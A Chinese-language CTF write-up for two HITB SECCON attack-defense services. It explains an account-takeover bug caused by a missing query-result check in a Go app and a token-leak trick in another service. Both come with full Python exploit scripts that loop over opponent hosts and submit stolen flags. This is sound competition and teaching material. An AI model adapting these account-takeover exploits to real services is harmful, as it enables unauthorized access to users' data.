HITB_seccon_awd wp

HITB_seccon_awd wp

前言

有幸参加了,比较新颖的是这次的规则,在规则中,flag全部是通过逻辑漏洞或者其他的非rce手段越权到目标用户拿到的,这样有效的避免了一些权限维持,提权的恶俗操作

由于主办方提供了含有flag的目标用户的用户名(比赛中称为flag_id),所以后面默认我们都已知目标用户的用户名

passmgr

go web 有源码。

这段代码我省流一下,就是包含:登录,注册,后台显示所有records,登陆后添加records,这些功能

问题出在

看34行的代码,开发很规范

    result := db.Where("cookie = ?", cookieValue).Find(&session)
    if result.Error != nil || result.RowsAffected == 0 {
        c.HTML(http.StatusOK, template, gin.H{})
        return
    }

看230行的代码,handleAdd这个地方

    result := db.Where("cookie = ?", cookieValue).Find(&session)
    if result.Error != nil {
        c.HTML(http.StatusOK, template, gin.H{})
        return
    }

少了一个检查result.RowsAffected == 0

那么我随便传一个不为空的cookieValue,如{ctf: 0}

可以直接cookieValue为错误值,这样会使得session经过sql查询后被赋值为空

那么紧随其后会有创建记录

image-20230829154808932

于是创建了一条record:

{
        User:    目标user(用户可控),
        Pass:    目标password,
        Site:    目标address(当然这里是用户自定义的值,还不是flag),
        UserRef: session.User(由于查询失败,所以此处为空),
    }

插入一条记录后,直接用该目标用户账密(密码是自定义的,刚刚插入的)登录

image-20230829160426405

看到了吧,刚刚好ref也为空

登录后直接访问/就可以看到

image-20230829160639893

这里的r是循环遍历所有的records中的记录,规则说flag放在目标用户的address里,假如records含有flag用户的记录,那就会显示出flag/address

由于我们登录了,所以这里session和cookieValue都是有正确值的,是目标用户的session,所以可以输出

image-20230829160753134

思路就是:

add开发忽略返回空的情况,导致add一个目标用户的records->变相修改了密码->任意用户登录,此时session不为空->拿到UserRef:session不为空的address (用户真正的address,而不是刚刚add中自定义的那个,因为那个UserRef为空)

脚本编写

import re
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import threading

proxies={"http":"http://192.168.31.234:28080", "https":"http://192.168.31.234:28080"}
proxies={}

def submit_flag(flag):
    burp9_url = "https://ctf.hitb.org:443/flags"
    burp9_headers = {"User-Agent": "curl/7.81.0", "Accept": "*/*", "X-Team-Token": "CHECKSYSTEM_149_f067d72aa8f6a146c0bc1a597c771acf", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close"}
    burp9_json=[flag]
    burp9_r = requests.put(burp9_url, headers=burp9_headers, json=burp9_json, proxies=proxies, verify=False)
    print(burp9_r.text)
    #burp9_m = re.findall(r'flag{.*}', burp9_r.text)
    #print(burp9_m)

def ack(v):
    host = v['host']
    for name in v['flag_ids']:
        try:    
            if attack(host, name):
                break
            break
        except:
            pass

def attack(host, name):
    print(host, name)
    session = requests.session()

    burp6_url = "https://"+host+"/add"
    burp6_cookies = {"ctf": "0"}
    burp6_headers = {"User-Agent": "CTF", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "X-Forwarded-Proto": "https", "Content-Type": "application/x-www-form-urlencoded"}
    burp6_data = {"user": name, "password": "676025ec3a8399be3beaa717a0476cca", "address": "87c56fc9595eb1a699caae65466a6e21"}
    burp6_r = session.post(burp6_url, timeout=2,headers=burp6_headers, cookies=burp6_cookies, data=burp6_data, proxies=proxies, verify=False)
    # print(burp6_r.text)

    burp7_url = "https://"+host+"/"
    burp7_headers = {"User-Agent": "CTF", "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "X-Forwarded-Proto": "https", "Content-Type": "application/x-www-form-urlencoded"}
    burp7_data = {"user": name, "password": "676025ec3a8399be3beaa717a0476cca", "login": "Login"}
    burp7_r = session.post(burp7_url, timeout=2,headers=burp7_headers, data=burp7_data, proxies=proxies, verify=False)
    # print(burp7_r.text)

    burp8_url = "https://"+host+"/"
    burp8_headers = {"User-Agent": "CTF", "Accept": "*/*", "Accept-Encoding": "gzip, deflate, br", "X-Forwarded-Proto": "https"}
    burp8_r = session.get(burp8_url, timeout=2,headers=burp8_headers, proxies=proxies, verify=False)
    # print(burp8_r.text)
    # print(burp8_r.text)
    burp8_m = re.findall(r'<td>(TEAM.*)</td>', burp8_r.text)
    # print(burp8_m)
    for flag in burp8_m:
        print(flag)
        submit_flag(flag)
        return True
    return False

def one():
    burp5_url = "https://ctf.hitb.org:443/flag_ids?service=4"
    burp5_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "X-Team-Token": "CHECKSYSTEM_149_f067d72aa8f6a146c0bc1a597c771acf", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Connection": "close"}
    burp5_r = requests.get(burp5_url, headers=burp5_headers, proxies=proxies, verify=False)
    j = burp5_r.json()
    for k,v in j['flag_ids'].items():
        print(k)
        threading.Thread(target=ack,args=(v,)).start()

while True:
    try:
        one()
    except:
        pass
    pass

godeeper

很激动,终于有看得懂的py题了,结果看了半天,毫无弱点

想想是不是缺了什么,哦,不知道 token = GetTOK()怎么实现的

然后丢给同事去逆了(xnuca个人第一的爷我舔爆),最后他们都说花指令啥的逆不明白

然后发现这个题有人在上分,抓流量去了,然后还是不会,最后还得是优秀的同事,他逆出来好像会校验一个user-agent和截取字符串

然后结合流量看了一波,总结出来是这样的:

1.创建一个含有flag的用户:注册一个账号xxx-xxx-xxx,然后flag在数据库,所以我在makelicense那里创建一个flag(应该是那个可选的参数)
2.退出登陆,开始想办法拿flag,注册一个xxx-xxx-xxx____
(必须要____结尾,下划线数量不限,保证能注册上就行),然后这个时候去请求make_license,要求带上user-agent:ctf,然后请求参数为空,请求后会返回一个token
3.带着这个token请求左边那个api,可以看到xxx-xxx-xxx的license值(也就是flag)

然后就是苦逼写exp了,这东西到可以打出flag写了2小时

import requests
import re

def username_to_getflag(url_, username):
    print(username,url_)
    url = url_
    # url = "https://godeeper.team1.ctf.hitb.org"
    # url = "http://10.60.149.7:8080/"
    session = requests.Session()

    payload1 = {'login': f'{username}_____________________________________________________', 'password': 'admin123'}
    # payload1 = {'login': 'eu5f-06hx-9vi0______________________________________________________________', 'password': 'admin123'}

    print(payload1)

    # 创建一个会话对象

    resp = session.post(url = url + "/register", data=payload1,verify=False)

    if "Logged in as " in resp.text:
        print("successfully register!")
    elif "Already exists" in resp.text:
        print("username has been registered!")
        return "username has been registered!"
    else:
        print(resp.text)
        print("register error!")
        return "register error!"

    payload2 = {"license_key":""}

    ## 带着http头 user-agent: ctf

    headers = {"User-Agent":"ctf"}
    resp = session.post(url = url + "/make_license", data=payload2, headers=headers,verify=False)

    if "Successfully added. Your token is " in resp.text:
        ### Successfully added. Your token is B093BB2C67DA5F9E
        ### 正则表达式截取token
        token = re.findall(r"Successfully added. Your token is (.*)", resp.text)[0]
        print(token)
        ## 带着token请求/get_token?token=token
        resp = session.get(url = url + "/get_token?token=" + token,verify=False)
        if "Your license is TEAM" in resp.text:
            print("get flag")
            flag = re.findall(r"Your license is (.*)", resp.text)[0]
            print(flag)
            return flag
        else:
            print("get flag error")
            return "get flag error"
            # print(resp.text)

    else:
        print("get token error")
        return "get token error"

def submit_flag(flag):
    burp9_url = "https://ctf.hitb.org:443/flags"
    burp9_headers = {"User-Agent": "curl/7.81.0", "Accept": "*/*", "X-Team-Token": "CHECKSYSTEM_149_f067d72aa8f6a146c0bc1a597c771acf", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close"}
    burp9_json=[flag]
    burp9_r = requests.put(burp9_url, headers=burp9_headers, json=burp9_json, verify=False)
    print(burp9_r.text)

def try_to_register(url,username):

    i = 20
    flag_ = username_to_getflag(url,username)
    while True:
        i = i + 1
        if flag_ == "username has been registered!" or flag_ == "register error!":
            username = username + "_"*i
            flag_ = username_to_getflag(url,username)
        elif "TEAM" in flag_:
            print("get flag!")
            print(flag_)
            print("*"*20)
            open("flag.txt", "a").write(flag_ + "\n")
            break
        else:
            print("error!")
            break

def one():
    burp5_url = "https://ctf.hitb.org:443/flag_ids?service=7"
    burp5_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "X-Team-Token": "CHECKSYSTEM_149_f067d72aa8f6a146c0bc1a597c771acf", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Connection": "close"}
    burp5_r = requests.get(burp5_url, headers=burp5_headers, verify=False)
    j = burp5_r.json()
    for k,v in j['flag_ids'].items():
        # print(k,v)
        ids = v['flag_ids']
        host = v['host']
        for id in ids:
            # print(id,host,k)
            # print(id,host,k)
            username = id
            try_to_register(host,username)
            # attack(id,host,k)
        # time.sleep(1)

if __name__ == '__main__':
    # try_to_register("https://godeeper.team149.ctf.hitb.org/","du5o-ylp_p-b9_kx")
    try_to_register("http://10.60.149.7:8080/","du5o-ylp_p-b9_kx")
    try_to_register("http://10.60.149.7:8080/","0oam_-zzra-kq9q")

说一些比较坑的,就是登录的session,对策是建议用session = requests.session()

另一个点是用户被注册过,所以要添加下划线数量直至没有被注册过,这样的话还得套个for循环

然后就是批量拿flag_id和submit_flag,由于主办方用的https,所以我配证书还弄了两年

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇